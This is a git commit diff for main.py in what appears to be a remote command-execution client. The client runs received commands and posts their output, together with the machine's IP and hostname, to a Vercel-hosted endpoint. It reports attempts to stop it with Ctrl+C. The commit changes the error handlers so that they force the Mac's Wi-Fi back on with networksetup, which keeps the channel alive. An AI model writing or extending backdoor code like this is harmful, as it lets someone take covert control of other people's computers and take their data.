summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-27 22:59:06 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-27 22:59:06 +0800
commit5fb695bca37e000bdde049eef5f647751ee8effd (patch)
treed74d0b778d3c7a464f62d46884351b81496f6c3b /main.py
parentbf63e16be259cbc6be6135986b6db1912eb7082d (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py21
1 files changed, 13 insertions, 8 deletions
diff --git a/main.py b/main.py
index 2464981..0a25a71 100644
--- a/main.py
+++ b/main.py
@@ -36,11 +36,11 @@ while True:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``")
except KeyboardInterrupt:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
continue
continue
except:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
sleep(3)
continue
# execute command
@@ -81,8 +81,9 @@ while True:
# except KeyboardInterrupt:
# post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``")
# except:
-# print("Failed to connect to server")
-# continue
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
+# continue
if command.startswith("cd"):
dir=command.replace('cd', '')
try:
@@ -96,7 +97,8 @@ while True:
except FileNotFoundError:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}")
except:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
old_command = command
if localcmd:
@@ -126,7 +128,8 @@ while True:
continue
continue
except:
- print("Failed to sent (error)output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
if cmdout.decode() != "" and cmderr.decode() == "":
try:
@@ -141,7 +144,8 @@ while True:
continue
continue
except:
- print("Failed to sent output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
elif cmdout.decode() == "" and cmderr.decode() == "":
try:
@@ -153,7 +157,8 @@ while True:
continue
continue
except:
- print("Failed to sent output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
old_command = command
continue